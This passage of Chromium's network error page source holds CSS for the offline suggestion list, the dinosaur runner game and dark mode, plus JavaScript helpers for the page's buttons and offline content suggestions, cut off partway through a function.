/* Hides the "hide" text div when the offline content list is collapsed/hidden
 * and, alternatively, hides the "show" text div when the offline content list
 * is expanded/shown.
 */
#offline-content-list.list-hidden #offline-content-list-hide-text,
#offline-content-list:not(.list-hidden) #offline-content-list-show-text {
  display: none;
}

/* Controls the animation of the offline content list when it is expanded/shown.
 */
#offline-content-suggestions {
  /* Max-height has to be set for the height animation to work. The chosen value
   * is a little greater than the maximum height the list will have, when all
   * suggestions have images, so that it is never clamped. This makes so that
   * when the actual height is smaller then the animation is not as smooth.
   */
  max-height: 27em;
  transition: max-height 200ms ease-in, visibility 0s 200ms,
              opacity 200ms 200ms linear;
}

/* Controls the animation of the offline content list when it is
 * collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-suggestions {
  max-height: 0;
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms,
              max-height 200ms 200ms ease-out;
  visibility: hidden;
}

#offline-content-list {
  margin-inline-start: -5%;
  width: 110%;
}

/* The selectors below adjust the "overflow" of the suggestion cards contents
 * based on the same screen size based strategy used for the main frame, which
 * is applied by the `interstitial-wrapper` class. */
@media (max-width: 420px)  {
  #offline-content-list {
    margin-inline-start: -2.5%;
    width: 105%;
  }
}
@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  #offline-content-list {
    margin-inline-start: -12px;
    width: calc(100% + 24px);
  }
}

.suggestion-with-image .offline-content-suggestion-thumbnail {
  flex-basis: 8.2em;
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-thumbnail > img {
  height: 100%;
  width: 100%;
}

.suggestion-with-image #offline-content-list:not(.is-rtl)
.offline-content-suggestion-thumbnail > img {
  border-bottom-right-radius: 7px;
  border-top-right-radius: 7px;
}

.suggestion-with-image #offline-content-list.is-rtl
.offline-content-suggestion-thumbnail > img {
  border-bottom-left-radius: 7px;
  border-top-left-radius: 7px;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail {
  align-items: center;
  display: flex;
  justify-content: center;
  min-height: 4.2em;
  min-width: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div {
  align-items: center;
  background-color: rgb(241, 243, 244);
  border-radius: 50%;
  display: flex;
  height: 2.3em;
  justify-content: center;
  width: 2.3em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div > img {
  height: 1.45em;
  width: 1.45em;
}

.offline-content-suggestion-favicon {
  height: 1em;
  margin-inline-end: 0.4em;
  width: 1.4em;
}

.offline-content-suggestion-favicon > img {
  height: 1.4em;
  width: 1.4em;
}

.no-favicon .offline-content-suggestion-favicon {
  display: none;
}

.image-video {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTcgMTAuNVY3YTEgMSAwIDAgMC0xLTFINGExIDEgMCAwIDAtMSAxdjEwYTEgMSAwIDAgMCAxIDFoMTJhMSAxIDAgMCAwIDEtMXYtMy41bDQgNHYtMTFsLTQgNHoiIGZpbGw9IiMzQzQwNDMiLz48L3N2Zz4=);
}

.image-music-note {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgM3Y5LjI2Yy0uNS0uMTctMS0uMjYtMS41LS4yNkM4IDEyIDYgMTQgNiAxNi41UzggMjEgMTAuNSAyMXM0LjUtMiA0LjUtNC41VjZoNFYzaC03eiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-earth {
  content: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIgMmM1LjUyIDAgMTAgNC40OCAxMCAxMHMtNC40OCAxMC0xMCAxMFMyIDE3LjUyIDIgMTIgNi40OCAyIDEyIDJ6TTQgMTJoNC40YzMuNDA3LjAyMiA0LjkyMiAxLjczIDQuNTQzIDUuMTI3SDkuNDg4djIuNDdhOC4wMDQgOC4wMDQgMCAwIDAgMTAuNDk4LTguMDgzQzE5LjMyNyAxMi41MDQgMTguMzMyIDEzIDE3IDEzYy0yLjEzNyAwLTMuMjA2LS45MTYtMy4yMDYtMi43NWgtMy43NDhjLS4yNzQtMi43MjguNjgzLTQuMDkyIDIuODctNC4wOTIgMC0uOTc1LjMyNy0xLjU5Ny44MTEtMS45N0E4LjAwNCA4LjAwNCAwIDAgMCA0IDEyeiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-file {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMgOVYzLjVMMTguNSA5TTYgMmMtMS4xMSAwLTIgLjg5LTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOGwtNi02SDZ6IiBmaWxsPSIjM0M0MDQzIi8+PC9zdmc+);
}

.offline-content-suggestion-texts {
  display: flex;
  flex-direction: column;
  justify-content: space-between;
  line-height: 1.3;
  padding: .9em;
  width: 100%;
}

.offline-content-suggestion-title {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 3;
  color: rgb(32, 33, 36);
  display: -webkit-box;
  font-size: 1.1em;
  overflow: hidden;
  text-overflow: ellipsis;
}

div.offline-content-suggestion {
  align-items: stretch;
  border: 1px solid rgb(218, 220, 224);
  border-radius: 8px;
  display: flex;
  justify-content: space-between;
  margin-bottom: .8em;
}

.suggestion-with-image {
  flex-direction: row;
  height: 8.2em;
  max-height: 8.2em;
}

.suggestion-with-icon {
  flex-direction: row-reverse;
  height: 4.2em;
  max-height: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-title {
  -webkit-line-clamp: 1;
  word-break: break-all;
}

.suggestion-with-icon .offline-content-suggestion-texts {
  padding-inline-start: 0;
}

.offline-content-suggestion-attribution-freshness {
  color: rgb(95, 99, 104);
  display: flex;
  font-size: .8em;
  line-height: 1.7em;
}

.offline-content-suggestion-attribution {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 1;
  display: -webkit-box;
  flex-shrink: 1;
  margin-inline-end: 0.3em;
  overflow: hidden;
  overflow-wrap: break-word;
  text-overflow: ellipsis;
  word-break: break-all;
}

.no-attribution .offline-content-suggestion-attribution {
  display: none;
}

.offline-content-suggestion-freshness::before {
  content: '-';
  display: inline-block;
  flex-shrink: 0;
  margin-inline-end: .1em;
  margin-inline-start: .1em;
}

.no-attribution .offline-content-suggestion-freshness::before {
  display: none;
}

.offline-content-suggestion-freshness {
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-pin-spacer {
  flex-grow: 100;
  flex-shrink: 1;
}

.suggestion-with-image .offline-content-suggestion-pin {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PGRlZnM+PHBhdGggaWQ9ImEiIGQ9Ik0wIDBoMjR2MjRIMFYweiIvPjwvZGVmcz48Y2xpcFBhdGggaWQ9ImIiPjx1c2UgeGxpbms6aHJlZj0iI2EiIG92ZXJmbG93PSJ2aXNpYmxlIi8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjYikiIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9zdmc+);
  flex-shrink: 0;
  height: 1.4em;
  margin-inline-start: .4em;
  width: 1.4em;
}

/* Controls the animation (and a bit more) of the launch-downloads-home action
 * button when the offline content list is expanded/shown.
 */
#offline-content-list-action {
  text-align: center;
  transition: visibility 0s 200ms, opacity 200ms 200ms linear;
}

/* Controls the animation of the launch-downloads-home action button when the
 * offline content list is collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-list-action {
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms;
  visibility: hidden;
}

#cancel-save-page-button {
  background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ij48Y2xpcFBhdGggaWQ9Im1hc2siPjxwYXRoIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiM5QUEwQTYiIGQ9Ik0wIDBoMjR2MjRIMHoiLz48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiMxQTczRTgiIHN0eWxlPSJhbmltYXRpb246b2ZmbGluZUFuaW1hdGlvbiA0cyBpbmZpbml0ZSIgZD0iTTAgMGgyNHYyNEgweiIvPjxzdHlsZT5Aa2V5ZnJhbWVzIG9mZmxpbmVBbmltYXRpb257MCUsMzUle2hlaWdodDowfTYwJXtoZWlnaHQ6MTAwJX05MCV7ZmlsbC1vcGFjaXR5OjF9dG97ZmlsbC1vcGFjaXR5OjB9fTwvc3R5bGU+PC9zdmc+);
  background-position: right 27px center;
  background-repeat: no-repeat;
  border: 1px solid var(--google-gray-300);
  border-radius: 5px;
  color: var(--google-gray-700);
  margin-bottom: 26px;
  padding-bottom: 16px;
  padding-inline-end: 88px;
  padding-inline-start: 16px;
  padding-top: 16px;
  text-align: start;
}

html[dir='rtl'] #cancel-save-page-button {
  background-position: left 27px center;
}

#save-page-for-later-button {
  display: flex;
  justify-content: start;
}

#save-page-for-later-button a::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

.hidden#save-page-for-later-button {
  display: none;
}

/* Don't allow overflow when in a subframe. */
html[subframe] body {
  overflow: hidden;
}

#sub-frame-error {
  -webkit-align-items: center;
  -webkit-flex-flow: column;
  -webkit-justify-content: center;
  background-color: #DDD;
  display: -webkit-flex;
  height: 100%;
  left: 0;
  position: absolute;
  text-align: center;
  top: 0;
  transition: background-color 200ms ease-in-out;
  width: 100%;
}

#sub-frame-error:hover {
  background-color: #EEE;
}

#sub-frame-error .icon-generic {
  margin: 0 0 16px;
}

#sub-frame-error-details {
  margin: 0 10px;
  text-align: center;
  visibility: hidden;
}

/* Show details only when hovering. */
#sub-frame-error:hover #sub-frame-error-details {
  visibility: visible;
}

/* If the iframe is too small, always hide the error code. */
/* TODO(mmenke): See if overflow: no-display works better, once supported. */
@media (max-width: 200px), (max-height: 95px) {
  #sub-frame-error-details {
    display: none;
  }
}

/* Adjust icon for small embedded frames in apps. */
@media (max-height: 100px) {
  #sub-frame-error .icon-generic {
    height: auto;
    margin: 0;
    padding-top: 0;
    width: 25px;
  }
}

/* details-button is special; it's a <button> element that looks like a link. */
#details-button {
  box-shadow: none;
  min-width: 0;
}

/* Styles for platform dependent separation of controls and details button. */
.suggested-left > #control-buttons,
.suggested-right > #details-button {
  float: left;
}

.suggested-right > #control-buttons,
.suggested-left > #details-button {
  float: right;
}

.suggested-left .secondary-button {
  margin-inline-end: 0;
  margin-inline-start: 16px;
}

#details-button.singular {
  float: none;
}

/* download-button shows both icon and text. */
#download-button {
  padding-bottom: 4px;
  padding-top: 4px;
  position: relative;
}

#download-button::before {
  background: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAAO0lEQVQ4y2NgGArgPxIY1YChsOE/LtBAmpYG0mxpIOSDBpKUo2lpIDZxNJCkHKqlYZAla3RAHQ1DFgAARRroHyLNTwwAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAQAAAD9CzEMAAAAZElEQVRYw+3Ruw3AMAwDUY3OzZUmRRD4E9iim9wNwAdbEURHyk4AAAAATiCVK8lLyPsKeT9K3lsownnunfkPxO78hKiYHxBV8x2icr5BVM+/CMf8g3DN34Rzns6ViwHUAUQ/6wIAd5Km7l6c8AAAAABJRU5ErkJggg==) 2x)
    no-repeat;
  content: '';
  display: inline-block;
  height: 24px;
  margin-inline-end: 4px;
  margin-inline-start: -4px;
  vertical-align: middle;
  width: 24px;
}

#download-button:disabled {
  background: rgb(180, 206, 249);
  color: rgb(255, 255, 255);
}

#buttons::after {
  clear: both;
  content: '';
  display: block;
  width: 100%;
}

/* Offline page */
html[dir='rtl'] .runner-container,
html[dir='rtl'].offline .icon-offline {
  transform: scaleX(-1);
}

.offline {
  transition: filter 1.5s cubic-bezier(0.65, 0.05, 0.36, 1),
              background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);

  will-change: filter, background-color;

}

.offline body {
  transition: background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
}

.offline #main-message > p {
  display: none;
}

.offline.inverted {
  background-color: #fff;
  filter: invert(1);
}

.offline.inverted body {
  background-color: #fff;
}

.offline .interstitial-wrapper {
  color: var(--text-color);
  font-size: 1em;
  line-height: 1.55;
  margin: 0 auto;
  max-width: 600px;
  padding-top: 100px;
  position: relative;
  width: 100%;
}

.offline .runner-container {
  direction: ltr;
  height: 150px;
  max-width: 600px;
  overflow: hidden;
  position: absolute;
  top: 35px;
  width: 44px;
}

.offline .runner-container:focus {
  outline: none;
}

.offline .runner-container:focus-visible {
  outline: 3px solid var(--google-blue-300);
}

.offline .runner-canvas {
  height: 150px;
  max-width: 600px;
  opacity: 1;
  overflow: hidden;
  position: absolute;
  top: 0;
  z-index: 10;
}

.offline .controller {
  height: 100vh;
  left: 0;
  position: absolute;
  top: 0;
  width: 100vw;
  z-index: 9;
}

#offline-resources {
  display: none;
}

#offline-instruction {
  image-rendering: pixelated;
  left: 0;
  margin: auto;
  position: absolute;
  right: 0;
  top: 60px;
  width: fit-content;
}

.offline-runner-live-region {
  bottom: 0;
  clip-path: polygon(0 0, 0 0, 0 0);
  color: var(--background-color);
  display: block;
  font-size: xx-small;
  overflow: hidden;
  position: absolute;
  text-align: center;
  transition: color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
  user-select: none;
}

/* Custom toggle */
.slow-speed-option {
  align-items: center;
  background: var(--google-gray-50);
  border-radius: 24px/50%;
  bottom: 0;
  color: var(--error-code-color);
  display: inline-flex;
  font-size: 1em;
  left: 0;
  line-height: 1.1em;
  margin: 5px auto;
  padding: 2px 12px 3px 20px;
  position: absolute;
  right: 0;
  width: max-content;
  z-index: 999;
}

.slow-speed-option.hidden {
  display: none;
}

.slow-speed-option [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle {
  cursor: pointer;
  margin-inline-start: 8px;
  padding: 8px 4px;
  position: relative;
}

.slow-speed-option [type=checkbox]:disabled ~ .slow-speed-toggle {
  cursor: default;
}

.slow-speed-option-label [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option .slow-speed-toggle::after {
  content: '';
  display: block;
  margin: 0 3px;
  transition: all 100ms cubic-bezier(0.4, 0, 1, 1);
}

.slow-speed-option .slow-speed-toggle::before {
  background: rgb(189,193,198);
  border-radius: 0.65em;
  height: 0.9em;
  width: 2em;
}

.slow-speed-option .slow-speed-toggle::after {
  background: #fff;
  border-radius: 50%;
  box-shadow: 0 1px 3px 0 rgb(0 0 0 / 40%);
  height: 1.2em;
  position: absolute;
  top: 51%;
  transform: translate(-20%, -50%);
  width: 1.1em;
}

.slow-speed-option [type=checkbox]:focus + .slow-speed-toggle {
  box-shadow: 0 0 8px rgb(94, 158, 214);
  outline: 1px solid rgb(93, 157, 213);
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
  background: var(--google-blue-600);
  opacity: 0.5;
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after {
  background: var(--google-blue-600);
  transform: translate(calc(2em - 90%), -50%);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::before {
  background: rgb(189,193,198);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::after {
  background: var(--google-gray-50);
}

@media (max-width: 420px) {
  #download-button {
    padding-bottom: 12px;
    padding-top: 12px;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
  }

  .snackbar {
    border-radius: 0;
    bottom: 0;
    left: 0;
    width: 100%;
  }
}

@media (max-height: 350px) {
  h1 {
    margin: 0 0 15px;
  }

  .icon-offline {
    margin: 0 0 10px;
  }

  .interstitial-wrapper {
    margin-top: 5%;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

@media (min-width: 420px) and (max-width: 736px) and
       (min-height: 240px) and (max-height: 420px) and
       (orientation:landscape) {
  .interstitial-wrapper {
    margin-bottom: 100px;
  }
}

@media (max-width: 360px) and (max-height: 480px) {
  .offline .interstitial-wrapper {
    padding-top: 60px;
  }

  .offline .runner-container {
    top: 8px;
  }
}

@media (min-height: 240px) and (orientation: landscape) {
  .offline .interstitial-wrapper {
    margin-bottom: 90px;
  }

  .icon-offline {
    margin-bottom: 20px;
  }
}

@media (max-height: 320px) and (orientation: landscape) {
  .icon-offline {
    margin-bottom: 0;
  }

  .offline .runner-container {
    top: 10px;
  }
}

@media (max-width: 240px) {
  button {
    padding-inline-end: 12px;
    padding-inline-start: 12px;
  }

  .interstitial-wrapper {
    overflow: inherit;
    padding: 0 8px;
  }
}

@media (max-width: 120px) {
  button {
    width: auto;
  }
}

.arcade-mode,
.arcade-mode .runner-container,
.arcade-mode .runner-canvas {
  image-rendering: pixelated;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode #buttons,
.arcade-mode #main-content {
  opacity: 0;
  overflow: hidden;
}

.arcade-mode .interstitial-wrapper {
  height: 100vh;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode .runner-container {
  left: 0;
  margin: auto;
  right: 0;
  transform-origin: top center;
  transition: transform 250ms cubic-bezier(0.4, 0, 1, 1) 400ms;
  z-index: 2;
}

@media (prefers-color-scheme: dark) {
  .icon {
    filter: invert(1);
  }

  .offline .runner-canvas {
    filter: invert(1);
  }

  .offline.inverted {
    background-color: var(--background-color);
    filter: invert(0);
  }

  .offline.inverted body {
    background-color: #fff;
  }

  .offline.inverted .offline-runner-live-region {
    color: #fff;
  }

  #suggestions-list a {
    color: var(--link-color);
  }

  #error-information-button {
    filter: invert(0.6);
  }

  .slow-speed-option {
    background: var(--google-gray-800);
    color: var(--google-gray-100);
  }

  .slow-speed-option .slow-speed-toggle::before,
  .slow-speed-option [type=checkbox]:checked:disabled +
    .slow-speed-toggle::before {
     background: rgb(189,193,198);
  }

  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after,
  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
    background: var(--google-blue-300);
  }
}
</style>
  <script>// Copyright 2013 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @typedef {{
 *   downloadButtonClick: function(),
 *   reloadButtonClick: function(string),
 *   detailsButtonClick: function(),
 *   diagnoseErrorsButtonClick: function(),
 *   trackEasterEgg: function(),
 *   updateEasterEggHighScore: function(number),
 *   resetEasterEggHighScore: function(),
 *   launchOfflineItem: function(string, string),
 *   savePageForLater: function(),
 *   cancelSavePage: function(),
 *   listVisibilityChange: function(boolean),
 * }}
 */
// eslint-disable-next-line no-var
var errorPageController;

const HIDDEN_CLASS = 'hidden';

// Decodes a UTF16 string that is encoded as base64.
function decodeUTF16Base64ToString(encoded_text) {
  const data = atob(encoded_text);
  let result = '';
  for (let i = 0; i < data.length; i += 2) {
    result +=
        String.fromCharCode(data.charCodeAt(i) * 256 + data.charCodeAt(i + 1));
  }
  return result;
}

function toggleHelpBox() {
  const helpBoxOuter = document.getElementById('details');
  helpBoxOuter.classList.toggle(HIDDEN_CLASS);
  const detailsButton = document.getElementById('details-button');
  if (helpBoxOuter.classList.contains(HIDDEN_CLASS)) {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.detailsText;
  } else {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.hideDetailsText;
  }

  // Details appears over the main content on small screens.
  if (mobileNav) {
    document.getElementById('main-content').classList.toggle(HIDDEN_CLASS);
    const runnerContainer = document.querySelector('.runner-container');
    if (runnerContainer) {
      runnerContainer.classList.toggle(HIDDEN_CLASS);
    }
  }
}

function diagnoseErrors() {
  if (window.errorPageController) {
    errorPageController.diagnoseErrorsButtonClick();
  }
}

// Subframes use a different layout but the same html file.  This is to make it
// easier to support platforms that load the error page via different
// mechanisms (Currently just iOS). We also use the subframe style for portals
// as they are embedded like subframes and can't be interacted with by the user.
let isSubFrame = false;
if (window.top.location !== window.location || window.portalHost) {
  document.documentElement.setAttribute('subframe', '');
  isSubFrame = true;
}

// Re-renders the error page using |strings| as the dictionary of values.
// Used by NetErrorTabHelper to update DNS error pages with probe results.
function updateForDnsProbe(strings) {
  const context = new JsEvalContext(strings);
  jstProcess(context, document.getElementById('t'));
  onDocumentLoadOrUpdate();
}

// Adds an icon class to the list and removes classes previously set.
function updateIconClass(newClass) {
  const frameSelector = isSubFrame ? '#sub-frame-error' : '#main-frame-error';
  const iconEl = document.querySelector(frameSelector + ' .icon');

  if (iconEl.classList.contains(newClass)) {
    return;
  }

  iconEl.className = 'icon ' + newClass;
}

// Implements button clicks.  This function is needed during the transition
// between implementing these in trunk chromium and implementing them in iOS.
function reloadButtonClick(url) {
  if (window.errorPageController) {
    // 

    // 
    errorPageController.reloadButtonClick();
    // 
  } else {
    window.location = url;
  }
}

function downloadButtonClick() {
  if (window.errorPageController) {
    errorPageController.downloadButtonClick();
    const downloadButton = document.getElementById('download-button');
    downloadButton.disabled = true;
    /** @suppress {missingProperties} */
    downloadButton.textContent = downloadButton.disabledText;

    document.getElementById('download-link-wrapper')
        .classList.add(HIDDEN_CLASS);
    document.getElementById('download-link-clicked-wrapper')
        .classList.remove(HIDDEN_CLASS);
  }
}

function detailsButtonClick() {
  if (window.errorPageController) {
    errorPageController.detailsButtonClick();
  }
}

let primaryControlOnLeft = true;
// clang-format off
// 
// clang-format on
primaryControlOnLeft = false;
// 

function setAutoFetchState(scheduled, can_schedule) {
  document.getElementById('cancel-save-page-button')
      .classList.toggle(HIDDEN_CLASS, !scheduled);
  document.getElementById('save-page-for-later-button')
      .classList.toggle(HIDDEN_CLASS, scheduled || !can_schedule);
}

function savePageLaterClick() {
  errorPageController.savePageForLater();
  // savePageForLater will eventually trigger a call to setAutoFetchState() when
  // it completes.
}

function cancelSavePageClick() {
  errorPageController.cancelSavePage();
  // setAutoFetchState is not called in response to cancelSavePage(), so do it
  // now.
  setAutoFetchState(false, true);
}

function toggleErrorInformationPopup() {
  document.getElementById('error-information-popup-container')
      .classList.toggle(HIDDEN_CLASS);
}

function launchOfflineItem(itemID, name_space) {
  errorPageController.launchOfflineItem(itemID, name_space);
}

function launchDownloadsPage() {
  errorPageController.launchDownloadsPage();
}

function getIconForSuggestedItem(item) {
  // Note: |item.content_type| contains the enum values from
  // chrome::mojom::AvailableContentType.
  switch (item.content_type) {
    case 1:  // kVideo
      return 'image-video';
    case 2:  // kAudio
      return 'image-music-note';
    case 0:  // kPrefetchedPage
    case 3:  // kOtherPage
      return 'image-earth';
  }
  return 'image-file';
}

function getSuggestedContentDiv(item, index) {
  // Note: See AvailableContentToValue in available_offline_content_helper.cc
  // for the data contained in an |item|.
  // TODO(carlosk): Present |snippet_base64| when that content becomes
  // available.
  let thumbnail = '';
  const extraContainerClasses = [];
  // html_inline.py will try to replace src attributes with data URIs using a
  // simple regex. The following is obfuscated slightly to avoid that.
  const source = 'src';
  if (item.thumbnail_data_uri) {
    extraContainerClasses.push('suggestion-with-image');
    thumbnail = `<img ${source}="${item.thumbnail_data_uri}">`;
  } else {
    extraContainerClasses.push('suggestion-with-icon');
    const iconClass = getIconForSuggestedItem(item);
    thumbnail = `<div><img class="${iconClass}"></div>`;
  }

  let favicon = '';
  if (item.favicon_data_uri) {
    favicon = `<img ${source}="${item.favicon_data_uri}">`;
  } else {
    extraContainerClasses.push('no-favicon');
  }

  if (!item.attribution_base64) {
    extraContainerClasses.push('no-attribution');
  }

  return `
  <div class="offline-content-suggestion ${extraContainerClasses.join(' ')}"
    onclick="launchOfflineItem('${item.ID}', '${item.name_space}')">
      <div class="offline-content-suggestion-texts">
        <div id="offline-content-suggestion-title-${index}"
             class="offline-content-suggestion-title">
        </div>
        <div class="offline-content-suggestion-attribution-freshness">
          <div id="offline-content-suggestion-favicon-${index}"
               class="offline-content-suggestion-favicon">
            ${favicon}
          </div>
          <div id="offline-content-suggestion-attribution-${index}"
               class="offline-content-suggestion-attribution">
          </div>
          <div class="offline-content-suggestion-freshness">
            ${item.date_modified}
          </div>
          <div class="offline-content-suggestion-pin-spacer"></div>
          <div class="offline-content-suggestion-pin"></div>
        </div>
      </div>
      <div class="offline-content-suggestion-thumbnail">
        ${thumbnail}
      </div>
  </div>`;
}

/**
 * @typedef {{
 *   ID: string,
 *   name_space: string,
 *   title_base64: string,
 *   snippet_base64: string,
 *   date_modified: string,
 *   attribution_base64: string,
 *   thumbnail_data_uri: string,
 *   favicon_data_uri: string,
 *   content_type: number,
 * }}
 */
let AvailableOfflineContent;

// Populates a list of suggested offline content.
// Note: For security reasons all content downloaded from the web is considered
// unsafe and must be securely handled to be presented on the dino page. Images
// have already been safely re-encoded but textual content -- like title and
// attribution -- must be properly handled here.
// @param {boolean} isShown
// @param {Array<AvailableOfflineContent>} suggestions
function offlineContentAvailable(isShown, suggestions) {
  if (!suggestions || !loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const suggestionsHTML = [];
  for (let index = 0; index < suggestions.length; index++) {
    suggestionsHTML.push(getSuggestedContentDiv(suggestions[index], index));
  }

  document.getElementById('offline-content-suggestions').innerHTML =
      suggestionsHTML.join('\n');

  // Sets textual web content using |textContent| to make sure it's handled as
  // plain text.
  for (let index = 0; index < suggestions.length; index++) {
    document.getElementById(`offline-content-suggestion-title-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].title_base64);
    document.getElementById(`offline-content-suggestion-attribution-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].attribution_base64);
  }

  const contentListElement = document.getElementById('offline-content-list');
  if (document.dir === 'rtl') {
    contentListElement.classList.add('is-rtl');
  }
  contentListElement.hidden = false;
  // The list is configured as hidden by default. Show it if needed.
  if (isShown) {
    toggleOfflineContentListVisibility(false);
  }
}

function toggleOfflineContentListVisibility(updatePref) {
  if (!loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const contentListElement = document.getElementById('offline-content-list');
  const isVisible = !contentListElement.classList.toggle('list-hidden');

  if (updatePref && window.errorPageController) {
    errorPageController.listVisibilityChanged(isVisible);
  }
}

// Called on document load, and from updateForDnsProbe().
function onDocumentLoadOrUpdate() {
  const downloadButtonVisible = loadTimeData.valueExists('downloadButton') &&
      loadTimeData.getValue('downloadButton').msg;
  const detailsButton = document.getElementById('details-button');

  // If offline content suggestions will be visible, the usual buttons will not
  // be presented.
  const offlineContentVisible =
      loadTimeData.valueExists('suggestedOfflineContentPresentation');
  if (offlineContentVisible) {
    document.querySelector('.nav-wrapper').classList.add(HIDDEN_CLASS);
    detailsButton.classList.add(HIDDEN_CLASS);

    document.getElementById('download-link').hidden = !downloadButtonVisible;
    document.getElementById('download-links-wrapper')
        .classList.remove(HIDDEN_CLASS);
    document.getElementById('error-information-popup-container')
        .classList.add('use-popup-container', HIDDEN_CLASS);
    document.getElementById('error-information-button')
        .classList.remove(HIDDEN_CLASS);
  }

  const attemptAutoFetch = loadTimeData.valueExists('attemptAutoFetch') &&
      loadTimeData.getValue('attemptAutoFetch');

  const reloadButtonVisible = loadTimeData.valueExists('reloadButton') &&
      loadTimeData.getValue('reloadButton').msg;

  const reloadButton = document.getElementById('reload-button');
  const downloadButton = document.getElementById('download-button');
